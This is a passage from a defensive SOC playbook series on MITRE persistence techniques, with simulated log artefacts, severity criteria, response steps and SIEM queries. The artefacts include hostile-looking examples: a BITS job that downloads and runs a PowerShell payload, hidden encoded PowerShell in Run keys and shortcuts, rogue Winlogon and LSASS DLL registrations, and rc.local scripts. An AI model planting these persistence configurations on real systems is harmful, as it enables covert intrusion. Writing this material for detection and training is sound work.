2026-04-29T01:11:14Z
service=AzureAD
action=AddMemberToRole
role=GlobalAdmin
member=svc-backup@example.my

D) SSH Authorized Keys

2026-04-29T01:11:21Z
user=appuser
file=~/.ssh/authorized_keys
key_added=ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQ...

E) Device Registration

2026-04-29T01:11:28Z
service=EntraID
action=RegisterDevice
device=Unknown-Laptop

user=employee07

F) Additional Container Cluster Roles

2026-04-29T01:11:34Z

platform=Kubernetes

action=CreateClusterRoleBinding

role=cluster-admin

subject=svc-metrics

G) Additional Local or Domain Groups

2026-04-29T01:11:41Z

directory=ActiveDirectory

action=AddGroupMember

group=Domain Admins

member=svc-helpdesk

Severity decision (SOC)

Low

- Change approved and documented
- Matches role and job function

Medium

- Change without documentation
- Limited scope or privilege

High

- Privileged roles, keys or delegates added
- Persistence survives password reset
- Cross-platform access created

Example severity: High

(Admin role + cloud key + SSH persistence)

Step-by-step SOC workflow

Step 1 Validate identity change legitimacy

Confirm:

1. Who initiated the change?
2. Was the change approved and documented?
3. Does it align with job role and business need?
4. Does it create persistent access beyond passwords?

Decision point

- Legitimate identity change → document and monitor
- Unauthorised or suspicious → continue investigation immediately

Step 2 Identify manipulation vector and scope

Vector	Evidence	Attacker value
Cloud credentials	Access keys, tokens	Passwordless access
Email delegation	Mailbox access	Data theft, BEC
Cloud roles	Admin assignments	Full tenant control
SSH keys	authorized_keys	Server persistence
Device registration	Trusted device	MFA bypass
Container RBAC	Cluster roles	Platform takeover
Groups	Admin membership	Privilege escalation

Step 3 Map behaviour to attacker intent

3A) Password-Independent Persistence

Indicators

- API keys, SSH keys
- OAuth tokens

Attacker intent

- Survive credential resets

3B) Privilege Escalation via Identity

Indicators

- Admin roles or groups added
- Cluster-admin bindings

Attacker intent

- Maintain dominant access

3C) Stealth and Blending

Indicators

- Service accounts used
- Legitimate-looking names

Attacker intent

- Avoid detection

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Lateral Movement
 - Use of new roles or keys
2. Persistence
 - Additional identities or tokens
3. Exfiltration
 - Mailbox or storage access
4. Defense Evasion
 - Logging or alert suppression

Decision point

- Evidence found → escalate to Identity / Cloud Incident Response

Containment actions

If detected early

1. Disable newly added credentials, keys or roles
2. Remove unauthorised delegates and group members
3. Block suspicious devices

If persistence confirmed

1. Revoke all attacker-added access paths
2. Rotate affected credentials and tokens
3. Enforce tenant-wide credential reset if needed
4. Isolate impacted systems or accounts

Eradication and recovery

- Remove all unauthorised identity changes
- Revalidate group, role and RBAC memberships
- Rotate secrets, keys and tokens
- Re-enrol trusted devices
- Issue assurance after identity integrity review

Detection engineering (SIEM ideas)

A) Privileged role or group change

```
index=identity
| where action IN ("AddMemberToRole","AddGroupMember")
| where role IN ("GlobalAdmin","Domain Admins","cluster-admin")
```

B) SSH key modification

```
index=os
| where file_path LIKE "%authorized_keys%"
```

C) Email delegate permission changes

```
index=mail
| where action="AddMailboxPermission"
```

D) Device registration anomaly

```
index=identity
| where action="RegisterDevice"
| where device_trust="unknown"
```

Analyst checklist

- Identity changes inventoried
- Persistence paths identified
- Unauthorised access removed
- Credentials rotated
- Monitoring enhanced

Post-incident improvements

- Enforce MFA and phishing-resistant auth everywhere
- Monitor identity changes as Tier-0 alerts
- Limit long-lived credentials and API keys
- Require approvals for role and delegate changes

- Regularly audit cloud, email, server and cluster access

BY IZMER IZUDDIN

Playbook 49 (MITRE Persistence): BITS Jobs

Technique: BITS Jobs

Purpose

Detect, investigate and respond to adversaries abusing Background Intelligent Transfer Service (BITS) to establish stealthy persistence by scheduling background file transfers or command execution, enabling attackers to:

- Persist across reboots using a trusted Windows service
- Download or execute payloads quietly over time
- Blend malicious activity into normal OS background traffic
- Throttle network usage to evade detection
- Re-establish tooling after disruption

BITS Jobs is low-noise persistence attackers let Windows handle reliability and stealth for them.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious BITS activity, including:

- Creation of new BITS jobs without approved IT context
- Jobs pointing to external or unusual URLs
- Jobs configured to run repeatedly or resume on reboot
- BITS jobs launching scripts or executables
- Correlation between BITS activity and C2 or payload staging

Example use case scenario (end-to-end)

Context: SOC detects periodic outbound connections to a low-reputation domain from a workstation, even after reboots. Windows logs reveal a persistent BITS job downloading a script to C:\ProgramData\ and executing it via a post-transfer command.

Attacker objective: Maintain quiet, resilient persistence using a trusted Windows background service.

Defender objective: Identify, remove and prevent malicious BITS-based persistence.

What it looks like (simulated SOC artefacts)

A) BITS Job Creation

JobName=WinUpdateCheck
Owner=SYSTEM
State=Transferred

B) Suspicious Transfer Source

RemoteURL=hxxps://cdn-update[.]site/payload.ps1
LocalPath=C:\ProgramData\update.ps1

C) Post-Transfer Execution

NotifyCmdLine=powershell.exe -ExecutionPolicy Bypass -File update.ps1

D) Persistence Across Reboot

ResumeOnRestart=True
RetryDelay=60

E) Trusted Service Context

Service=BITS
Process=svchost.exe

F) Follow-on Activity

NextAction=CommandAndControl

Severity decision (SOC)

High

- Suspicious BITS job with limited execution or scope

Critical

- BITS job used for persistent payload execution or C2 recovery
- Jobs running as SYSTEM or repeatedly re-downloading malware

Example severity: Critical

(Persistent attacker foothold via trusted Windows service)

Step-by-step SOC workflow

Step 1 Validate BITS-based persistence

Confirm:

1. Is the BITS job unauthorised or undocumented?
2. Does it reference external or low-reputation endpoints?
3. Is a post-transfer command configured?
4. Does the job survive reboot or retry automatically?

Decision point

- Legitimate update or IT task → validate ownership
- Malicious BITS persistence → escalate immediately

Step 2 Identify scope and technique

Indicator	Evidence	Attacker value
BITS job	Background transfer	Stealth
Resume enabled	Survives reboot	Reliability
External URL	Payload staging	Control
Notify command	Code execution	Persistence
SYSTEM context	Elevated access	Privilege

Step 3 Map behaviour to attacker intent

3A) Stealthy Persistence

Indicators

- Background transfer via svchost.exe

Attacker intent

- Avoid endpoint alerts

3B) Self-Healing Malware

Indicators

- Re-download on failure

Attacker intent

- Maintain foothold

3C) Defense Evasion

Indicators

- Throttled network usage

Attacker intent

- Blend with OS traffic

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Beacons after transfer completion
2. Execution
 - PowerShell or script execution
3. Persistence
 - Additional autostart mechanisms
4. Defense Evasion
 - Obfuscation or indicator removal

Decision point

- Follow-on detected → escalate to Major Incident IR

Containment actions

Immediate

1. Suspend and delete malicious BITS jobs
2. Isolate affected endpoints
3. Block malicious domains and URLs

If BITS abuse confirmed

1. Preserve BITS job metadata and logs
2. Remove downloaded payloads and scripts
3. Reset credentials used on affected hosts
4. Notify SOC leadership and Windows platform owners

Eradication and recovery

- Remove all unauthorised BITS jobs
- Clean and validate affected systems

- Harden PowerShell and script execution policies
- Restrict BITS job creation to approved roles
- Monitor closely for job recreation

Detection engineering (SIEM ideas)

A) New BITS job creation

```
index=windows
| where event_id IN (59,60,61)
```

B) BITS jobs with external URLs

```
index=windows
| where event_id=59
| where remote_url LIKE "http%"
```

C) Post-transfer execution detection

```
index=edr
| where parent_process="svchost.exe"
| where process_name IN ("powershell.exe","cmd.exe","mshta.exe")
```

Analyst checklist

- BITS persistence confirmed
- Malicious jobs identified and removed
- Payloads deleted
- Network indicators blocked
- Incident escalated appropriately

Post-incident improvements

- Treat BITS as a persistence-capable execution mechanism
- Log and alert on BITS job creation and modification
- Restrict BITS usage on non-admin systems
- Correlate BITS job → execution → C2
- Include BITS abuse scenarios in SOC training

Playbook 50 (MITRE Persistence): Boot or Logon Autostart Execution

Technique: Boot or Logon Autostart Execution

Sub-techniques:

- Registry Run Keys / Startup Folder
- Authentication Package
- Time Providers
- Winlogon Helper DLL
- Security Support Provider
- Kernel Modules and Extensions
- Re-opened Applications
- LSASS Driver
- Shortcut Modification
- Port Monitors
- Print Processors
- XDG Autostart Entries
- Active Setup
- Login Items

Purpose

Detect, investigate and respond to persistence mechanisms that trigger automatically during system boot or user logon, enabling attackers to:

- Execute payloads without user interaction
- Survive reboots and endpoint cleanup
- Gain SYSTEM / kernel-level execution
- Hide inside rarely audited OS startup paths
- Establish long-term, stealthy footholds

Boot and logon autostart techniques are among the most reliable persistence methods, frequently abused by advanced attackers and ransomware operators.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised startup execution, including:

- New registry keys, drivers or startup items
- DLLs loaded during logon or authentication
- Kernel or LSASS components modified
- Persistence that survives password resets and reboots
- Execution occurring immediately after boot or login
- No scheduled tasks or services explain execution

Example use case scenario (end-to-end)

Context: SOC detects PowerShell execution immediately after user logon, even after malware removal. Deep inspection reveals a Winlogon Helper DLL and a modified Run key that re-executes the payload on every login.

Attacker objective: Maintain guaranteed execution whenever the system boots or a user logs in.

Defender objective: Identify hidden autostart mechanisms, remove persistence and restore OS integrity.

What it looks like (simulated SOC artefacts)

A) Registry Run Key / Startup Folder

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Updater = powershell.exe -w hidden -enc SQBFAFgA...

B) Winlogon Helper DLL (T1547.004)

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
Userinit = userinit.exe,evil.dll

C) Security Support Provider (SSP)

HKLM\System\CurrentControlSet\Control\Lsa\Security Packages
Added: evilssp.dll

D) Kernel Module / Driver

C:\Windows\System32\drivers\kbdflt.sys
signature=unsigned
load_type=BOOT_START

E) LSASS Driver

HKLM\System\CurrentControlSet\Control\Lsa
Authentication Packages += evilauth.dll

F) Shortcut Modification

C:\Users\Public\Desktop\Chrome.lnk
Target="chrome.exe & powershell -w hidden -enc SQBFAFgA..."

G) Print Processor

HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors

Added: PrintUpdate

H) XDG Autostart (Linux)

~/.config/autostart/update.desktop

Exec=/bin/bash /tmp/.cache.sh

I) macOS Login Items

~/Library/LaunchAgents/com.apple.update.plist

RunAtLoad=true

Severity decision (SOC)

Low

- Autostart entry approved and documented
- Signed binaries from trusted vendors

Medium

- New autostart entry without documentation
- Limited scope, no malicious behaviour observed

High

- Kernel / LSASS / authentication components modified
- Unsigned DLLs or drivers
- Payload execution at every boot or logon

Example severity: High

(Winlogon DLL + SSP + Run key persistence)

Step-by-step SOC workflow

Step 1 Validate autostart execution legitimacy

Confirm:

1. Which autostart mechanism is used?

2. Who created or modified it?
3. Is the binary signed and trusted?
4. Does it execute automatically at boot or login?

Decision point

- Legitimate startup configuration → document and monitor
- Unauthorised or suspicious → continue investigation immediately

Step 2 Identify autostart vector and scope

Autostart vector	Evidence	Attacker value
Run keys / Startup	Registry / folder	User persistence
Winlogon / SSP	DLL load	SYSTEM execution
Kernel / LSASS	Drivers	Ring-0 persistence
Shortcuts	Modified LNK	User deception
Print / Port monitors	Spooler abuse	SYSTEM stealth
XDG / Login Items	Desktop startup	Cross-platform

Step 3 Map behaviour to attacker intent

3A) Guaranteed Execution

Indicators

- Runs at every boot/logon
- No user interaction required

Attacker intent

- Maintain persistent foothold

3B) Privilege and Stealth

Indicators

- Kernel, LSASS, authentication components
- Execution before EDR fully loads

Attacker intent

- Evade security controls

3C) Masquerading

Indicators

- Names resembling OS components
- Placement in system directories

Attacker intent

- Avoid detection

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - LSASS memory, authentication hooks
2. Defense Evasion
 - Security service tampering
3. Command and Control
 - Early-boot beaoning
4. Impact
 - Ransomware staging or sabotage

Decision point

- Evidence found → escalate to Incident Response / Major Incident

Containment actions

If detected early

1. Disable or remove suspicious autostart entries
2. Block associated binaries and hashes
3. Prevent execution on next reboot

If persistence confirmed

1. Isolate affected host
2. Remove all malicious autostart mechanisms
3. Reset credentials potentially exposed
4. Preserve artefacts for forensics

Eradication and recovery

- Delete malicious registry keys, drivers, DLLs

- Restore autostart locations from baseline
- Reimage system if kernel or LSASS integrity is impacted
- Patch OS and harden startup paths
- Validate clean boot and login behaviour

Detection engineering (SIEM ideas)

A) New autostart registry entries

index=windows

| where registry_path LIKE "%Run%" OR registry_path LIKE "%Winlogon%"

B) Unsigned driver or DLL loaded at boot

index=edr

| where load_type IN ("BOOT_START","SYSTEM_START")

| where signed=false

C) Print processor or port monitor changes

index=windows

| where registry_path LIKE "%Print\\Environments%"

D) Linux / macOS autostart monitoring

index=os

| where file_path LIKE "%autostart%" OR file_path LIKE "%LaunchAgents%"

Analyst checklist

- Autostart mechanisms inventoried
- Malicious entries identified
- Persistence fully removed
- Credentials rotated if required
- Clean boot and login verified

Post-incident improvements

- Monitor autostart paths as Tier-0 persistence alerts
- Enforce driver and DLL signing
- Harden Winlogon, LSASS and print subsystem
- Baseline startup items per OS and role
- Include boot-level persistence in SOC threat modelling

Playbook 51 (MITRE Persistence): Boot or Logon Initialization Scripts

Technique: Boot or Logon Initialization Scripts

Sub-techniques:

- Logon Script (Windows)
- Login Hook
- Network Logon Script
- RC Scripts
- Startup Items

Purpose

Detect, investigate and respond to persistence achieved by executing scripts during system boot or user logon, enabling attackers to:

- Execute payloads every time a user logs in
- Persist without installing services or scheduled tasks
- Blend into legitimate IT administration workflows
- Gain access across multiple users or systems
- Re-establish malware after remediation

Initialization scripts are quiet, trusted and commonly overlooked, especially in domain environments and Unix-based systems.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised script execution at boot or logon, including:

- Scripts executing immediately after login
- New or modified logon scripts without change approval
- Domain or network logon scripts altered unexpectedly
- Startup scripts executing interpreters or external downloads
- Persistence that survives reboots and malware cleanup
- Multiple users affected simultaneously after login

Example use case scenario (end-to-end)

Context: SOC detects PowerShell execution for multiple users immediately after domain login. Investigation reveals a modified network logon script that downloads and executes a payload from an external domain.

Attacker objective: Establish centralised persistence that triggers on every user logon.

Defender objective: Identify and remove malicious initialization scripts and restore trusted login behaviour.

What it looks like (simulated SOC artefacts)

A) Windows Logon Script

2026-05-03T01:11:02Z
script=logon.bat
location=\\DOMAIN\\SYSVOL\\scripts\
command=powershell -w hidden -enc SQBFAFgA...

B) Network Logon Script (GPO)

2026-05-03T01:11:09Z
policy=Default Domain Policy
logon_script=update.ps1

C) macOS Login Hook

/Library/Preferences/com.apple.loginwindow.plist
LoginHook=/Users/shared/.login.sh

D) RC Script (Linux)

/etc/rc.local
/bin/bash /usr/lib/.cache.sh &

E) Startup Item

/etc/init.d/update
ExecStart=/bin/sh /tmp/.upd.sh

Severity decision (SOC)

Low

- Script approved and documented
- No suspicious commands or external access

Medium

- Script modified without approval
- Limited scope or non-privileged execution

High

- Script executes payloads or downloads external content
- Domain-wide or multi-user impact
- Persistence confirmed across reboots

Example severity: High

(Network logon script → PowerShell payload → multi-user execution)

Step-by-step SOC workflow

Step 1 Validate initialization script legitimacy

Confirm:

1. Which script type is used (local, network, RC, hook)?
2. Who created or modified the script?
3. Is the script approved and documented?
4. Does it execute automatically at boot or login?

Decision point

- Legitimate administrative script → document and monitor
- Unauthorised or suspicious → continue investigation immediately

Step 2 Identify initialization vector and scope

Script type	Evidence	Attacker value
Windows logon	Local execution	User persistence
Network logon	SYSVOL / GPO	Domain-wide scale
Login hook	macOS login	Stealth execution
RC scripts	Boot execution	Root persistence
Startup items	Init scripts	System-level execution

Step 3 Map behaviour to attacker intent

3A) Centralised Persistence

Indicators

- Network or domain scripts
- Multiple users affected

Attacker intent

- Persist at scale

3B) Stealth Execution

Indicators

- Hidden scripts
- Minimal user visibility

Attacker intent

- Avoid endpoint detection

3C) Privileged Execution

Indicators

- RC scripts or startup items
- Execution as SYSTEM/root

Attacker intent

- High-privilege persistence

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Scripts accessing secrets or tokens
2. Command and Control
 - Network calls at login
3. Lateral Movement
 - Use of harvested credentials
4. Defense Evasion
 - Script-based disabling of security tools

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If detected early

1. Disable affected logon or startup scripts
2. Block external domains used by scripts
3. Prevent script execution on next login

If persistence confirmed

1. Remove malicious scripts from all locations
2. Restore clean versions from backup
3. Reset affected user credentials
4. Isolate systems if secondary payloads detected

Eradication and recovery

- Delete malicious initialization scripts
- Restore trusted logon/startup configurations
- Reimage hosts if integrity is uncertain
- Validate clean boot and login execution
- Monitor subsequent logins closely

Detection engineering (SIEM ideas)

A) Logon script modification

index=windows
| where file_path LIKE "%SYSVOL%" OR file_path LIKE "%logon%"

B) Interpreter execution at login

index=edr
| where event_type="process_start"
| where logon_event=true
| where child_process IN ("powershell.exe", "bash", "sh", "python")

C) RC / init script changes

index=os
| where file_path LIKE "%rc.local%" OR file_path LIKE "%init.d%"

Analyst checklist

- Initialization scripts inventoried
- Malicious scripts identified
- Persistence removed
- Credentials rotated if required

- Clean login behaviour confirmed

Post-incident improvements

- Monitor logon and startup scripts as Tier-1 persistence signals
- Restrict who can modify network logon scripts
- Require change approval for SYSVOL and init scripts
- Baseline startup and login scripts per OS
- Include script-based persistence in SOC exercises

Playbook 52 (MITRE Persistence): Cloud Application Integration

Technique: Cloud Application Integration

Purpose

Detect, investigate and respond to persistence achieved by integrating malicious or abused applications into cloud platforms, enabling attackers to:

- Maintain long-term access without user passwords
- Operate entirely through OAuth, API tokens and service principals
- Bypass MFA and conditional access
- Persist even after user credential resets
- Blend malicious activity into legitimate cloud application behaviour

Cloud Application Integration is one of the most dangerous persistence techniques in modern environments because it is identity-native, stealthy and durable.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious cloud application integrations, including:

- New OAuth apps or service principals created unexpectedly
- Excessive or high-privilege API permissions granted
- Applications accessing mailboxes, files or directories without user interaction
- API activity continuing after password resets
- Consent granted outside normal approval workflows
- App activity from unusual tenants, IPs or geographies

Example use case scenario (end-to-end)

Context: SOC detects ongoing mailbox access via Microsoft Graph API even after the user's password is reset and MFA is enforced. Investigation reveals a malicious OAuth application granted full mailbox and directory permissions.

Attacker objective: Establish passwordless, MFA-resistant persistence using cloud application permissions.

Defender objective: Identify malicious app integrations, revoke access and restore cloud identity trust.

What it looks like (simulated SOC artefacts)

A) OAuth Application Registration

2026-05-05T01:11:02Z
platform=EntraID
action=AddApplication
app_name=MailSyncPro
created_by=employee07

B) Consent to High-Risk Permissions

2026-05-05T01:11:08Z
app=MailSyncPro
permissions=Mail.ReadWrite,Directory.Read.All
consent_type=UserConsent

C) Service Principal Created

2026-05-05T01:11:14Z
action=AddServicePrincipal
app=MailSyncPro

D) Persistent API Access

2026-05-05T01:11:21Z
api=MicrosoftGraph
operation=GetMessages
caller=MailSyncPro
auth_type=OAuth

E) Activity After Password Reset

2026-05-05T01:11:29Z
event=UserPasswordReset
user=employee07
2026-05-05T01:11:31Z
api_activity=continued
caller=MailSyncPro

Severity decision (SOC)

Low

- App integration approved and documented
- Least-privilege permissions

- Vendor-verified application

Medium

- App integration without documentation
- Read-only or limited permissions

High

- High-privilege permissions (mail, directory, files)
- Persistence survives password reset
- External or unknown application

Example severity: High

(OAuth app → Mail.ReadWrite + Directory access → MFA bypass)

Step-by-step SOC workflow

Step 1 Validate cloud application legitimacy

Confirm:

1. Who created or consented to the application?
2. Is the application business-approved?
3. What permissions and scopes are granted?
4. Does the app bypass MFA or Conditional Access?

Decision point

- Legitimate integration → document and monitor
- Unauthorised or excessive permissions → continue investigation immediately

Step 2 Identify integration scope

Integration element	Evidence	Attacker value
OAuth app	App registration	Passwordless access
Permissions	Graph / API scopes	Data access
Service principal	Tenant persistence	Long-term control
Tokens	Refresh tokens	MFA bypass
APIs	Mail, files, directory	Data exfiltration

Step 3 Map behaviour to attacker intent

3A) MFA-Resistant Persistence

Indicators

- OAuth tokens
- Continued access after resets

Attacker intent

- Survive credential remediation

3B) Stealthy Data Access

Indicators

- API-based mailbox or file access
- No interactive logins

Attacker intent

- Exfiltrate data quietly

3C) Tenant-Wide Expansion

Indicators

- Directory permissions
- Additional app registrations

Attacker intent

- Expand control across cloud tenant

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Exfiltration
 - Mailbox, OneDrive, SharePoint access
2. Persistence
 - Additional OAuth apps or secrets
3. Privilege Escalation
 - Admin consent abuse
4. Defense Evasion
 - Logging or alert suppression

Decision point

- Evidence found → escalate to Cloud / Identity Incident Response

Containment actions

If detected early

1. Disable or delete suspicious cloud applications
2. Revoke OAuth tokens and refresh tokens
3. Block further consent for risky permissions

If persistence confirmed

1. Remove service principals and app registrations
2. Revoke all tokens tenant-wide if required
3. Reset affected user credentials
4. Enforce admin-only consent temporarily

Eradication and recovery

- Delete malicious or unauthorised cloud apps
- Revalidate all OAuth integrations
- Rotate secrets and certificates
- Review audit logs for full impact
- Restore trust in cloud identity environment

Detection engineering (SIEM ideas)

A) New OAuth app registration

index=cloud
| where action IN ("AddApplication","AddServicePrincipal")

B) High-risk permission consent

index=cloud
| where permissions IN ("Mail.ReadWrite","Directory.Read.All","Files.Read.All")

C) API activity without user login

index=cloud
| where auth_type="OAuth"
| where user_interactive_login=false

D) App activity after password reset

index=cloud

| transaction user maxspan=10m

| where event="PasswordReset" AND api_activity=true

Analyst checklist

- Cloud apps inventoried
- Unauthorised integrations identified
- Tokens and permissions revoked
- User and tenant security validated
- Monitoring enhanced

Post-incident improvements

- Enforce admin-only OAuth consent
- Monitor app permissions as Tier-0 identity alerts
- Limit long-lived refresh tokens
- Review cloud apps regularly
- Train SOC on OAuth and API abuse patterns

Playbook 53 (MITRE Persistence): Compromise Host Software Binary

Technique: Compromise Host Software Binary

Purpose

Detect, investigate and respond to adversaries achieving persistence by modifying, replacing or backdooring legitimate software binaries on a host, enabling attackers to:

- Execute malicious code whenever trusted software runs
- Abuse user trust in legitimate applications
- Survive reboots without creating obvious autorun entries
- Evade detection by blending into normal application behaviour
- Maintain long-term access with minimal footprint

Compromised host software binaries are weaponised trust attackers don't add new persistence they poison what already exists.

When to trigger this playbook

Trigger this playbook when indicators suggest legitimate binaries behaving maliciously or showing integrity anomalies, including:

- Hash or signature changes in trusted executables
- Legitimate applications initiating unexpected network traffic
- Software updates behaving abnormally
- Execution of unsigned or tampered binaries from trusted paths
- Security alerts tied to well-known, previously clean software

Example use case scenario (end-to-end)

Context: SOC observes a signed third-party backup agent initiating outbound connections to an unknown IP on every system startup. File integrity monitoring reveals the agent's executable hash changed without an approved update. Reverse engineering confirms malicious code appended to the binary.

Attacker objective: Maintain durable, stealthy persistence by embedding malware inside a trusted application.

Defender objective: Restore software integrity and eliminate the attacker's hidden foothold.

What it looks like (simulated SOC artefacts)

A) Binary Integrity Violation

File=C:\Program Files\BackupAgent\agent.exe
HashStatus=Changed
Signature=Invalid

B) Trusted Path Abuse

BinaryPath=C:\Program Files\
ExecutionFrequency=NormalUsage

C) Unexpected Behaviour

Process=agent.exe
Action=Outbound HTTPS
Destination=Unknown IP

D) No New Persistence Entries

ScheduledTasks=None
RunKeys=None

E) Update Masquerading

Version=2.3.1
UpdateSource=Unverified

F) Follow-on Activity

NextAction=CommandAndControl

Severity decision (SOC)

High

- Binary tampering limited to non-critical software

Critical

- Compromise of widely deployed or privileged software
- Backdoored binaries used for C2, lateral movement or impact

Example severity: Critical

(Persistent compromise embedded in trusted software)

Step-by-step SOC workflow

Step 1 Validate binary compromise

Confirm:

1. Has the binary's hash or signature changed unexpectedly?
2. Is the software behaving outside its normal function?
3. Was there no authorised update or patch event?
4. Does execution align with malicious network or system activity?

Decision point

- Legitimate update → validate source and integrity
- Binary compromise → escalate immediately

Step 2 Identify scope and technique

Indicator	Evidence	Attacker value
Binary modification	Hash mismatch	Persistence
Trusted software	Known vendor	Evasion
Frequent execution	User/app startup	Reliability
No new artefacts	No autoruns	Stealth
Privileged context	Service or admin	Impact

Step 3 Map behaviour to attacker intent

3A) Stealth Persistence

Indicators

- No new persistence mechanisms

Attacker intent

- Avoid detection and cleanup

3B) Trust Abuse

Indicators

- Backdoored signed software

Attacker intent

- Bypass security controls

3C) Long-Term Access

Indicators

- Triggered during normal use

Attacker intent

- Maintain durable foothold

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Beacons from legitimate app processes
2. Privilege Escalation
 - Compromised services or agents
3. Lateral Movement
 - Software running across many hosts
4. Impact
 - Ransomware, data theft, sabotage

Decision point

- Follow-on detected → escalate to Major Incident IR

Containment actions

Immediate

1. Isolate affected systems
2. Stop execution of compromised software
3. Block network indicators used by the binary

If binary compromise confirmed

1. Preserve tampered binaries for forensic analysis
2. Remove or replace compromised software
3. Verify integrity of similar binaries across environment
4. Notify SOC leadership, IT Ops and vendor management

Eradication and recovery

- Reinstall clean software from trusted sources
- Validate digital signatures and hashes
- Patch systems and close initial access vector
- Restore integrity monitoring baselines
- Monitor closely for reinfection or re-tampering

Detection engineering (SIEM ideas)

A) File integrity monitoring

index=fim
| where integrity_status="Modified"

B) Trusted binary with anomalous network activity

index=edr OR index=netflow
| where process_path IN (trusted_app_paths)
| where dest_ip NOT IN known_destinations

C) Execution of unsigned binaries in Program Files

index=edr
| where process_path LIKE "C:\\Program Files%"
| where signature_status!="Signed"

Analyst checklist

- Host software binary compromise confirmed
- Scope of affected software identified
- Clean versions restored
- Network indicators blocked
- Incident escalated appropriately

Post-incident improvements

- Treat software integrity as a persistence control
- Deploy file integrity monitoring on critical binaries
- Validate updates cryptographically
- Monitor trusted software behaviour, not just new malware
- Correlate binary integrity → execution → network activity

Playbook 54 (MITRE Persistence): Create Account

Technique: Create Account

Sub-techniques:

- Local Account
- Domain Account
- Cloud Account

Purpose

Detect, investigate and respond to persistence achieved by creating new user accounts, enabling attackers to:

- Maintain long-term access without malware
- Blend into legitimate identity structures
- Survive password resets and system rebuilds
- Gain repeated access through legitimate authentication paths
- Escalate privileges over time using trusted identities

Account creation is one of the most durable persistence techniques, especially in enterprise, cloud and hybrid identity environments.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious account creation, including:

- New accounts created outside onboarding workflows
- Accounts with generic or service-like names
- Accounts created during non-business hours
- Immediate privilege assignment after account creation
- Accounts never used interactively by real users
- Persistence that survives endpoint remediation

Example use case scenario (end-to-end)

Context: SOC detects a successful login from an unfamiliar username days after malware was removed. Investigation reveals a new domain account created during the original intrusion and later added to a privileged group.

Attacker objective: Create legitimate identities to maintain access and re-enter the environment at will.

Defender objective: Identify unauthorised accounts, remove persistence and restore identity hygiene.

What it looks like (simulated SOC artefacts)

A) Local Account Creation

2026-05-09T01:11:02Z
host=WS-044
action=CreateLocalUser
user=backup_svc
created_by=SYSTEM

B) Domain Account Creation

2026-05-09T01:11:11Z
directory=ActiveDirectory
action=NewUser
user=svc-helpdesk2
created_by=DOMAIN\admin01

C) Cloud Account Creation

2026-05-09T01:11:19Z
platform=EntraID
action=AddUser
user=reportsync@example.my
role=User

D) Immediate Privilege Assignment

2026-05-09T01:11:26Z
action=AddGroupMember
group=Domain Admins
member=svc-helpdesk2

E) Dormant Account Later Used

2026-05-16T03:22:41Z
event=SuccessfulLogin
user=reportsync@example.my
location=Foreign-IP

Severity decision (SOC)

Low

- Account creation approved and documented
- Matches HR or IT onboarding records

Medium

- Account created without documentation
- No elevated privileges assigned

High

- Privileged or service-like account created
- Account used for persistence or lateral movement
- Creation linked to prior intrusion

Example severity: High

(Domain account + admin group + post-incident access)

Step-by-step SOC workflow

Step 1 Validate account creation legitimacy

Confirm:

1. Who created the account?
2. Is the account approved and documented?
3. Does it match a real user, service or project?
4. Was it created during or after suspicious activity?

Decision point

- Legitimate account → document and monitor
- Unauthorised or suspicious → continue investigation immediately

Step 2 Identify account type and scope

Account type	Evidence	Attacker value
Local account	Host-level user	Backdoor access
Domain account	AD identity	Enterprise persistence
Cloud account	SaaS/IaaS access	Tenant persistence

Step 3 Map behaviour to attacker intent

3A) Long-Term Persistence

Indicators

- Accounts left unused initially
- Legitimate login paths

Attacker intent

- Re-enter environment quietly

3B) Privilege Expansion

Indicators

- Group or role assignment
- Admin permissions granted

Attacker intent

- Maintain control over environment

3C) Defense Evasion

Indicators

- Service-style naming
- Blending into existing account patterns

Attacker intent

- Avoid suspicion during reviews

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Lateral Movement
 - Use of new accounts across systems
2. Credential Access
 - Password resets, key creation
3. Persistence
 - Additional accounts or roles
4. Impact

- Abuse of trust for data access

Decision point

- Evidence found → escalate to Identity / Incident Response

Containment actions

If detected early

1. Disable or lock suspicious accounts
2. Prevent login until legitimacy confirmed
3. Preserve audit logs

If persistence confirmed

1. Delete unauthorised accounts
2. Remove associated group or role memberships
3. Reset credentials for impacted systems
4. Isolate systems accessed by the account

Eradication and recovery

- Remove malicious accounts from all identity systems
- Review all recent account creations
- Revalidate privileged group memberships
- Rotate credentials and tokens if exposed
- Issue identity assurance confirmation

Detection engineering (SIEM ideas)

A) New account creation

index=identity
| where action IN ("AddUser","CreateLocalUser","NewUser")

B) Account created + privilege assigned

index=identity
| transaction user maxspan=10m
| where action IN ("AddUser","AddGroupMember")

C) Dormant account suddenly active

index=auth
| where first_login=true AND account_age > 7d

Analyst checklist

- Account creation events reviewed
- Unauthorised accounts identified
- Privileges removed
- Persistence eliminated
- Identity monitoring enhanced

Post-incident improvements

- Alert on account creation as Tier-0 identity events
- Require approvals for all account provisioning
- Monitor service-style account naming patterns
- Periodically review dormant and privileged accounts
- Include account-creation abuse in SOC playbooks

Playbook 55 (MITRE Persistence): Create or Modify System Process

Technique: Create or Modify System Process

Sub-techniques:

- Launch Agent
- Systemd Service
- Windows Service
- Launch Daemon
- Container Service

Purpose

Detect, investigate and respond to persistence achieved by creating or modifying long-running system processes, enabling attackers to:

- Achieve execution at boot or service start
- Run payloads with elevated (SYSTEM/root) privileges
- Persist without scheduled tasks or user interaction
- Blend malicious execution into legitimate service behaviour
- Maintain durable access across reboots and logouts

System processes are high-value persistence mechanisms because they are trusted, expected and continuously running.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised service or daemon creation/modification, including:

- New services created outside change windows
